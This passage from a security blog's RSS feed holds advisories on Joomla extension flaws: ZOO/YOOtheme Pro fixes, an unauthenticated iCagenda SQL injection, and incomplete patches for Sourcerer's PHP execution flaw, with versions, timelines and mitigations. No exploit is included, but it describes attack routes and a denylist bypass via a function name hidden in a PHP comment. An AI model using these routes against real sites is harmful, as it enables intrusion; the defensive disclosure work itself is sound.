&lt;li&gt;&lt;strong&gt;Install 4.5.35 rather than 4.5.34.&lt;/strong&gt; The regression named in the 4.5.35 entry follows directly from the SQL injection fix. Quoting the ORDER BY column is what closes the injection, but ordering an article list by a custom field uses a synthetic column name of the form &lt;code&gt;a.field:123&lt;/code&gt;, and quoting that as a literal identifier breaks it. 4.5.35 adds a branch that recognises the custom-field form before the quoting runs. If any of your article lists order by a custom field, 4.5.34 broke that ordering and 4.5.35 puts it back.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Older majors are still stranded, which is a different problem from being behind.&lt;/strong&gt; The affected range starts at 1.0.0, and the fix exists on the 4.5.x and 5.0.x lines only. A site on YOOtheme Pro 3.x, or anywhere in 4.0 to 4.4, has no security release on its own line at all. For those the answer is a move to 4.5.35, or a migration to Joomla 4 or later and the 5.0.x line. There is no update that fixes them where they stand.&lt;/li&gt;
&lt;/ol&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-08-19&lt;/strong&gt; ZOO 4.1.64 fixes the three flaws we reported CVE-2026-74803, an arbitrary file upload to remote code execution scored CVSS 10.0, plus CVE-2026-74804 and CVE-2026-75114. All three were found and reported by mySites.guru, and all three were proved on a live test install rather than inferred from the source.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-20&lt;/strong&gt; 4.1.65 closes a hole 4.1.64 had claimed to fix CVE-2026-76610, in tag management. The first release did not finish the job, which is the reason 4.1.64 is not a safe ceiling.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-21&lt;/strong&gt; 4.1.66 closes four more, and this is the version to install CVE-2026-76612, an unauthenticated stored cross-site scripting flaw at 8.6 and the worst of the set after the 10.0, plus CVE-2026-76611, CVE-2026-77028 and CVE-2026-77029. Three releases in three days. Our customer alert had named 4.1.64, so we wrote again.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-21&lt;/strong&gt; YOOtheme Pro 5.0.41 ships the same day, and is a separate download CVE-2026-76613 and CVE-2026-75115, neither of them ours. Updating ZOO does nothing for these, and neither does updating your template if it is not the YOOtheme Pro one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-23&lt;/strong&gt; CVE-2026-76613 is corrected from 9.2 Critical to 8.6 High Its description said the SQL injection needed a contributor-level account while the vector published alongside said PR:N, no privileges at all, and the PR:N is what produced the original 9.2. YOOtheme took it to the CNA and the vector was the wrong half.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-24&lt;/strong&gt; The Joomla 3 branch is backported, and two more Pro fixes ship YOOtheme Pro 4.5.34 brings all four Pro fixes to the line kept alive for Joomla 3 sites, so a site on 4.5.33 was behind rather than stranded. YOOtheme Pro 5.0.42 adds CVE-2026-77996 and CVE-2026-77997, both filed under maintenance wording rather than security. ZOO 4.1.67 also shipped with no security fixes in it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-25&lt;/strong&gt; 4.5.35 repairs a regression the SQL injection patch caused Quoting the ORDER BY column broke ordering by a custom field, whose synthetic column name is not a plain identifier. A day after the backport.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74803/&quot;&gt;CVE-2026-74803&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74804/&quot;&gt;CVE-2026-74804&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-75114/&quot;&gt;CVE-2026-75114&lt;/a&gt; at CVE.org, the authoritative records for the three flaws in this post&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76610/&quot;&gt;CVE-2026-76610&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76611/&quot;&gt;CVE-2026-76611&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76612/&quot;&gt;CVE-2026-76612&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77028/&quot;&gt;CVE-2026-77028&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77029/&quot;&gt;CVE-2026-77029&lt;/a&gt;, the five that followed in 4.1.65 and 4.1.66&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://yootheme.com/zoo/changelog&quot;&gt;YOOtheme&apos;s ZOO changelog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://yootheme.com/changelog&quot;&gt;YOOtheme Pro&apos;s changelog&lt;/a&gt;, which covers both the 5.0.x and 4.5.x lines&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434: Unrestricted Upload of File with Dangerous Type&lt;/a&gt; at MITRE&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89: SQL Injection&lt;/a&gt; at MITRE&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vel.joomla.org/&quot;&gt;The Joomla Security Strike Team&apos;s vulnerable extensions list&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;Our standard for disclosing Joomla extension vulnerabilities&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla security disclosures&lt;/a&gt;, the wider pattern these keep fitting&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>joomla 3</category><category>vulnerability</category><category>yootheme</category><category>zoo</category><category>file-upload</category><category>sql-injection</category><enclosure url="https://mysites.guru/img/og/blog/zoo-unauthenticated-file-upload-rce.png" length="0" type="image/png"/></item><item><title>iCagenda 4.0.12 fixes an unauthenticated SQL injection</title><link>https://mysites.guru/blog/icagenda-calendar-module-sql-injection/</link><guid isPermaLink="true">https://mysites.guru/blog/icagenda-calendar-module-sql-injection/</guid><description>CVE-2026-67365 is an unauthenticated SQL injection in the iCagenda Calendar module for Joomla, scored 9.2 Critical. Fixed in 4.0.12.</description><pubDate>Mon, 17 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The Joomla project’s CVE Numbering Authority published &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67365&quot;&gt;CVE-2026-67365&lt;/a&gt; on 14 August 2026: an unauthenticated SQL injection in the iCagenda Calendar module, part of the iCagenda events extension for Joomla. It is scored &lt;strong&gt;9.2 Critical&lt;/strong&gt; under CVSS 4.0, and the fix is &lt;strong&gt;iCagenda 4.0.12&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This is not our find. The CVE credits Joep van Antwerpen of Onvio. We found &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;the previous iCagenda flaw&lt;/a&gt; in June, an unauthenticated file upload that ended up in the CISA Known Exploited Vulnerabilities catalog, so this is the second security issue in the extension in two months and the two are unrelated.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru already flags this&lt;/p&gt;
  &lt;p&gt;Every connected Joomla site running an affected build of the iCagenda Calendar module is flagged against our vulnerability rules. Search for iCagenda across all your sites and see the version each one is on. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67365/&quot;&gt;CVE-2026-67365&lt;/a&gt;&lt;/strong&gt;, published 14 August 2026 by the Joomla CNA, &lt;strong&gt;CVSS 4.0 9.2 Critical&lt;/strong&gt;, CWE-89&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated SQL injection&lt;/strong&gt; in the iCagenda Calendar module (&lt;code&gt;mod_icagenda_calendar&lt;/code&gt;), described in the record as reachable &lt;strong&gt;via &lt;code&gt;com_ajax&lt;/code&gt; with no session, token or account&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected: 4.0.0 to 4.0.11. Fixed: 4.0.12&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The module version does not match the package version.&lt;/strong&gt; The Calendar module stayed at &lt;strong&gt;4.0.7&lt;/strong&gt; through the 4.0.8, 4.0.9, 4.0.10 and 4.0.11 releases and only moved with 4.0.12, so a site can show iCagenda 4.0.11 while the vulnerable module reports 4.0.7&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reported by Joep van Antwerpen of Onvio&lt;/strong&gt;, not by us&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No vendor release note.&lt;/strong&gt; The icagenda.com changelog lists nothing above 4.0.11 at the time of writing&lt;/li&gt;
&lt;li&gt;Separate from &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48939/&quot;&gt;CVE-2026-48939&lt;/a&gt;&lt;/strong&gt;, the file upload fixed in 4.0.8 and 3.9.15. Patched for that one does not mean patched for this one&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67365/&quot;&gt;CVE-2026-67365&lt;/a&gt; is&lt;/h2&gt;
&lt;p&gt;The CVE record is the whole public description, so here it is verbatim:&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;CVE-2026-67365, description in full&lt;/p&gt;
  &lt;p&gt;Joomla Extension - icagenda.com - Unauthenticated SQL injection in iCagenda &amp;lt; 4.0.0-4.0.11 - Unauthenticated SQL injection in mod_icagenda_calendar (iCagenda), reachable via com_ajax with no session, token or account.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Three things in that sentence decide how quickly you act. It is &lt;strong&gt;unauthenticated&lt;/strong&gt;, so no one needs an account. It is reached through &lt;strong&gt;&lt;code&gt;com_ajax&lt;/code&gt;&lt;/strong&gt;, Joomla’s generic front-end AJAX entry point, which is available to anonymous visitors by default and which we have written about before as &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;a recurring blind spot&lt;/a&gt;. And it is &lt;strong&gt;SQL injection&lt;/strong&gt;, so what is at risk is the contents of the database, which on a Joomla site includes the user table and its password hashes.&lt;/p&gt;
&lt;p&gt;We have not written an exploit for this and we are not publishing one. Nothing here needs it.&lt;/p&gt;
&lt;h2&gt;The version number that will mislead you&lt;/h2&gt;
&lt;p&gt;This is the part worth your attention if you manage more than a couple of sites, and it is why a sensible-looking version check gives the wrong answer.&lt;/p&gt;
&lt;p&gt;The vulnerable code is in a module, not the component, and &lt;strong&gt;the module’s version did not move with the package&lt;/strong&gt;. Across the Joomla sites we manage, the iCagenda Calendar module reports only a handful of distinct versions, and the pattern is clear: it sat at &lt;strong&gt;4.0.7&lt;/strong&gt; while the package went through 4.0.8, 4.0.9, 4.0.10 and 4.0.11, then jumped straight to &lt;strong&gt;4.0.12&lt;/strong&gt; when this fix shipped.&lt;/p&gt;
&lt;p&gt;So on a site running iCagenda 4.0.11, the extension manager shows you 4.0.11 for the component and 4.0.7 for the Calendar module. Both are accurate. Neither, on its own, tells you whether this flaw is closed. The reading that does is the module at 4.0.12.&lt;/p&gt;
&lt;p&gt;Two practical consequences:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;A version comparison against the package version is wrong in both directions.&lt;/strong&gt; Written one way it misses affected sites, written another it flags patched ones. Our own rule matches the module and treats anything below 4.0.12 as affected, which is the only form that lines up with reality.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sites without the Calendar module installed are not exposed through this route&lt;/strong&gt;, because the flaw is reached through that module. The component alone is not enough.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One open question we are not going to answer by guessing. iCagenda also ships an older calendar module, &lt;code&gt;mod_iccalendar&lt;/code&gt;, labelled “deprecated”, and it is still installed on plenty of sites. The CVE names &lt;code&gt;mod_icagenda_calendar&lt;/code&gt; and only that, so we have not flagged the deprecated one as affected: doing so would mean asserting something the record does not say. If you still run &lt;code&gt;mod_iccalendar&lt;/code&gt;, the safe assumption is that a deprecated module is not getting security attention either way, and the right move is to replace it rather than wait to find out.&lt;/p&gt;
&lt;h2&gt;Which Joomla sites are affected?&lt;/h2&gt;
&lt;p&gt;Any site with the iCagenda Calendar module below 4.0.12. The module is common but not universal on iCagenda sites: across the Joomla sites we manage, a bit under three quarters of iCagenda installs have the Calendar module, and more than four in ten of those are still on the vulnerable 4.0.7 today.&lt;/p&gt;
&lt;h2&gt;What to do&lt;/h2&gt;
&lt;p&gt;Update the iCagenda package to &lt;strong&gt;4.0.12&lt;/strong&gt; or later, then confirm the &lt;strong&gt;module&lt;/strong&gt; shows 4.0.12 rather than trusting the component version or the “up to date” message.&lt;/p&gt;
&lt;p&gt;If you cannot update immediately, unpublishing and uninstalling the iCagenda Calendar module removes this exposure, because the flaw is reached through that module. That obviously removes the calendar from the site too, so treat it as a stop-gap.&lt;/p&gt;
&lt;p&gt;One more thing worth doing on any site that has been sitting on an old iCagenda for a while: this extension had an actively exploited flaw two months ago, so it is worth checking the &lt;strong&gt;Hacked?&lt;/strong&gt; section on each affected site and reading through &lt;strong&gt;Users&lt;/strong&gt; in the Joomla admin for administrator accounts no one created. Updating closes the door and tells you nothing about whether anyone already came through it.&lt;/p&gt;
&lt;h2&gt;Disclosure and severity&lt;/h2&gt;
&lt;p&gt;This flaw is CWE-89, SQL injection, reached over the network by an anonymous visitor with no privileges and no user interaction. Unlike our own assessments on vendor-silent releases, the numbers here are &lt;strong&gt;official&lt;/strong&gt;: the Joomla CNA published a CVSS 4.0 vector with the record.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;9.2&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;Critical&lt;/span&gt;
        &lt;span&gt;Official vector, published by the Joomla CNA&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Unauthenticated SQL injection reachable through com_ajax with no session, token or account. High confidentiality impact on the vulnerable component and a high impact on the wider system, which is what accounts for the score reaching Critical.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Exploitable over the internet&lt;/span&gt;
        &lt;span&gt;No user interaction&lt;/span&gt;
        &lt;span&gt;Database read&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;













































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67365&quot;&gt;CVE-2026-67365&lt;/a&gt;, published 14 August 2026 by the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;iCagenda Calendar module (&lt;code&gt;mod_icagenda_calendar&lt;/code&gt;) for Joomla, shipped with the iCagenda events extension&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;JoomliC (&lt;a href=&quot;https://www.icagenda.com/&quot;&gt;icagenda.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Unauthenticated SQL injection (CWE-89), reachable via &lt;code&gt;com_ajax&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;9.2 (Critical), &lt;code&gt;AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H&lt;/code&gt; (official, from the CVE record)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;4.0.0 up to and including 4.0.11&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;4.0.12&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Joep van Antwerpen, Onvio. Not a mySites.guru find&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor advisory&lt;/td&gt;&lt;td&gt;None. The icagenda.com changelog lists nothing above 4.0.11 at the time of writing&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-18&lt;/strong&gt; The update feed&apos;s newest entry is dated, and it is not the fix The feed still lists 4.0.11 from this date and nothing above it, even though 4.0.12 is shipping and installing on real sites. A site running an update check is told it is current.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-14&lt;/strong&gt; CVE-2026-67365 is published at CVSS 4.0 9.2, Critical An unauthenticated SQL injection in the iCagenda Calendar module, described in the record as reachable via com_ajax with no session, token or account. Affected 4.0.0 to 4.0.11, fixed in 4.0.12. Classified CWE-89.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-17&lt;/strong&gt; We publish, and flag the version number that lies The Calendar module stayed at 4.0.7 through the 4.0.8, 4.0.9, 4.0.10 and 4.0.11 releases and only moved with 4.0.12, so the module version and the package version disagree and a site can look patched when it is not.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67365&quot;&gt;CVE-2026-67365&lt;/a&gt; at cve.org&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89: SQL Injection&lt;/a&gt; at MITRE&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.icagenda.com/docs/changelog&quot;&gt;iCagenda changelog&lt;/a&gt; at icagenda.com&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;The iCagenda file upload we found in June&lt;/a&gt;, now in the CISA KEV catalog&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints keep turning up in CMS advisories&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>icagenda</category><category>sql injection</category><category>vulnerability</category><category>joomla extensions</category><category>cve</category><enclosure url="https://mysites.guru/img/og/blog/icagenda-calendar-module-sql-injection.png" length="0" type="image/png"/></item><item><title>Sourcerer 14 and 15 did not fix CVE-2026-74253. 16.0.0 does.</title><link>https://mysites.guru/blog/sourcerer-14-unverified-content-php-execution/</link><guid isPermaLink="true">https://mysites.guru/blog/sourcerer-14-unverified-content-php-execution/</guid><description>Sourcerer 14 and 15 were both published as the fix for CVE-2026-74253 and neither closed it. It is exploited in the wild. Update now to 16.0.0.</description><pubDate>Mon, 17 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;&lt;p&gt;Updated 26 August 2026: this post has changed substantially since it was first published&lt;/p&gt;&lt;p&gt;When we first published this on 17 August we reported, correctly at the time, that Sourcerer 14.0.0 was the fix. New information has come to light since. The vendor patch was incomplete, twice, and the Joomla CNA has re-scoped &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74253/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74253/&quot;&gt;CVE-2026-74253&lt;/a&gt; from “Sourcerer &amp;lt; 14.0.0” to “Sourcerer &amp;lt; 16.0.0”, widening the affected range from 1.0.0-13.1.1 to &lt;strong&gt;1.0.0-15.0.0&lt;/strong&gt;. The flaw is also being exploited in the wild. &lt;strong&gt;The minimum safe version is now 16.0.0.&lt;/strong&gt; The post below has been updated throughout, and the timeline explains how three releases in nine days ended up being necessary.&lt;/p&gt;&lt;/div&gt;
&lt;div&gt;&lt;p&gt;Update 29 August 2026: 16.0.1 fixes a smaller, separate bug&lt;/p&gt;&lt;p&gt;16.0.1 closes a bypass of 16.0.0’s own filesystem-write function denylist, where a forbidden function name hidden inside a PHP comment (&lt;code&gt;system/&lt;em&gt;x&lt;/em&gt;/(…)&lt;/code&gt;) still executed as valid PHP. We tested this live and confirmed it only reaches content that has already passed the origin check described below, the one that closes &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74253/&quot;&gt;CVE-2026-74253&lt;/a&gt; - it is not a return of unauthenticated reach, and it needs a user who can already author or edit content containing Sourcerer PHP. Worth updating to 16.0.1, but a different and much lower-severity issue than the rest of this post.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;On 17 August 2026 Regular Labs released version 14.0.0 of &lt;a href=&quot;https://regularlabs.com/sourcerer&quot;&gt;Sourcerer&lt;/a&gt;, the Joomla extension that lets you place PHP, JavaScript and CSS inside your content. The changelog has one entry tagged both &lt;code&gt;[SECURITY FIX]&lt;/code&gt; and &lt;code&gt;[BC BREAK]&lt;/code&gt;:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Sourcerer 14.0.0 changelog, the security entry in full&lt;/p&gt;&lt;p&gt;[SECURITY FIX] [BC BREAK] Prevents reflected or otherwise unverified rendered Sourcerer code from executing by default while preserving verified article and Custom module code&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;It runs that code wherever you put it: articles, modules, components, the page head. To do that it inspects the finished page on every render and executes the tags it finds. The question 14.0.0 answers is one Sourcerer never used to ask about most of the page: where did this code come from?&lt;/p&gt;
&lt;div&gt;&lt;p&gt;mySites.guru already flags this&lt;/p&gt;&lt;p&gt;Every connected Joomla site running an affected Sourcerer build is flagged against our vulnerability rules. Search for Sourcerer across all your sites and see the version each one is on. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Sourcerer 16.0.0 is the fix.&lt;/strong&gt; The CVE record was re-scoped on 26 August and now puts the affected range at 1.0.0 to 15.0.0, so 14.0.0, 14.0.1 and 15.0.0 are affected too, despite each having been published as a fix&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It is being exploited in the wild&lt;/strong&gt;, since roughly 19 August per the Joomla Security Strike Team, which is two days &lt;em&gt;after&lt;/em&gt; the first fix shipped&lt;/li&gt;
&lt;li&gt;Before 14.0.0, the only content whose origin Sourcerer verified was &lt;strong&gt;article text&lt;/strong&gt;. Code that reached the page any other way simply ran&lt;/li&gt;
&lt;li&gt;From 14.0.0, a block executes only if the plugin can trace it to a trusted source: &lt;strong&gt;article content, or a Custom module whose rendered text still matches what is stored&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTML-escaping is not a mitigation.&lt;/strong&gt; Sourcerer decodes HTML entities inside its own tags on purpose, so WYSIWYG-authored code works&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP execution is enabled by default&lt;/strong&gt;, and the default forbidden-function list blocks shell functions, not file writes&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74253/&quot;&gt;CVE-2026-74253&lt;/a&gt;, CVSS 4.0 10.0, critical&lt;/strong&gt;, published by the Joomla CNA on 17 August 2026 and re-scoped on 26 August 2026 from ”&amp;lt; 14.0.0” to ”&amp;lt; 16.0.0”. The earlier &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64796&quot;&gt;CVE-2026-64796&lt;/a&gt; is a separate issue and stops at 12.2.8&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;This is a intended breaking change.&lt;/strong&gt; Some legitimate code will stop running until you allow it, which is the correct trade&lt;/li&gt;
&lt;li&gt;Sourcerer is installed on &lt;strong&gt;thousands&lt;/strong&gt; of the Joomla sites we manage, and roughly &lt;strong&gt;nine in ten of those installs are on an affected build&lt;/strong&gt; today&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What 14.0.0 changed, and what it missed&lt;/h2&gt;
&lt;p&gt;The fix is structural rather than a patched line. Version 14.0.0 adds a trust-marking step. Content Sourcerer can vouch for gets marked as it passes through the page, and only marked blocks may execute code. Two origins qualify. Article content does, as it did before. A Custom module does when the text being rendered still matches what is stored in the database for that module, which is how the plugin knows the code you are about to run is the code an administrator actually saved.&lt;/p&gt;
&lt;p&gt;Everything else now counts as unverified. On the Free edition those blocks are removed rather than run. On Pro, each unverified CSS, JavaScript or PHP type has to be allowed explicitly before it will execute again.&lt;/p&gt;
&lt;p&gt;That was the right shape of fix, and it was not complete. Marking trusted content only helps if every route by which untrusted content can reach the render is covered, and it was not. An attacker could still get Sourcerer syntax into the page by supplying it through a URL, through a form field name or value, through a raw request body, an upload, a cookie or a request header. The vendor closed those routes in 16.0.0 on 26 August, with a second changelog entry tagged &lt;code&gt;[SECURITY FIX]&lt;/code&gt;:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Sourcerer 16.0.0 changelog, the security entry in full&lt;/p&gt;&lt;p&gt;[SECURITY FIX] Prevents unverified Sourcerer code from executing when an untrusted user supplies Sourcerer syntax through URL or form names and values, raw request bodies, uploads, cookies or request headers&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;16.0.0 also blocks common filesystem-write functions by default and adds them to your existing saved settings, which is the change most likely to break something you rely on. Pro gains a Trusted Request User Groups setting for choosing which logged-in users may submit Sourcerer tags through requests.&lt;/p&gt;
&lt;h2&gt;Three releases in nine days&lt;/h2&gt;
&lt;p&gt;The sequence is the story here, because it explains how a site could be patched twice and still be exposed. The &lt;a href=&quot;#timeline&quot;&gt;full timeline is at the bottom of this post&lt;/a&gt;; the short version is that the two releases in the middle both looked like fixes.&lt;/p&gt;
&lt;p&gt;The uncomfortable part is who this caught. Anyone who ignored the 17 August release was exposed, which is the normal outcome and the normal advice covers it. Anyone who applied it immediately was also exposed, for another nine days, and had every reason to believe they were not. Their extension manager said 14.0.0, the CVE record said 14.0.0 was the fix, and so did we.&lt;/p&gt;
&lt;h2&gt;Two parts of the same Joomla extension problem&lt;/h2&gt;
&lt;p&gt;This is the second Sourcerer security release in under a month, and the two are parts of one problem.&lt;/p&gt;
&lt;p&gt;On 22 July 2026 Regular Labs shipped &lt;a href=&quot;https://mysites.guru/blog/regular-labs-joomla-extension-security-release/&quot;&gt;a coordinated hardening release across its whole catalogue&lt;/a&gt;. Sourcerer 13.0.0 was part of it, and the CVE that came out of it, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-64796/&quot;&gt;CVE-2026-64796&lt;/a&gt;, describes the Free edition failing to “require both the article creator and last modifier to be Super Users before executing article PHP”. That closed the article path: from 13.0.0, PHP in an article only runs if trusted people wrote and last touched it.&lt;/p&gt;
&lt;p&gt;August’s release closes the rest of the page. The article path had an author check; the module, component, head and final-rendering positions had no origin check at all. Getting the first half right is what made the second half visible.&lt;/p&gt;
&lt;p&gt;The practical consequence is that patching one does not patch the other. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-64796/&quot;&gt;CVE-2026-64796&lt;/a&gt; gives its affected range as 1.0.0 to 12.2.8. A site sitting on 13.1.1 is outside that range, is not flagged by it, and is still affected by the August issue. That second record, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74253/&quot;&gt;CVE-2026-74253&lt;/a&gt;, now runs from 1.0.0 to 15.0.0 and covers the whole line up to 16.0.0.&lt;/p&gt;
&lt;h2&gt;Why escaping the input does not save you&lt;/h2&gt;
&lt;p&gt;The natural assumption is that a site is safe as long as it escapes what users type, because escaped angle brackets cannot open a PHP block. With Sourcerer that assumption falls apart, and the reason is a documented feature, not a bug.&lt;/p&gt;
&lt;p&gt;Code written in a WYSIWYG editor arrives with its angle brackets converted to HTML entities. So that code still runs, Sourcerer decodes entities inside its own tags before handling the contents. The decoding has no way to tell code an administrator typed into TinyMCE from text that arrived from somewhere else. Escaped text is not automatically inert, and “we escape our output” is not the control that protects a site here.&lt;/p&gt;
&lt;p&gt;Two other defaults matter when you are weighing urgency. PHP execution is on out of the box. The default list of forbidden PHP functions covers shell-execution functions, so it stops a payload shelling out, but it does not cover writing files.&lt;/p&gt;
&lt;p&gt;We are not publishing a working request or a payload. Nothing above is a recipe, and you do not need any of it to decide whether to update.&lt;/p&gt;
&lt;h2&gt;Which Joomla sites are affected?&lt;/h2&gt;
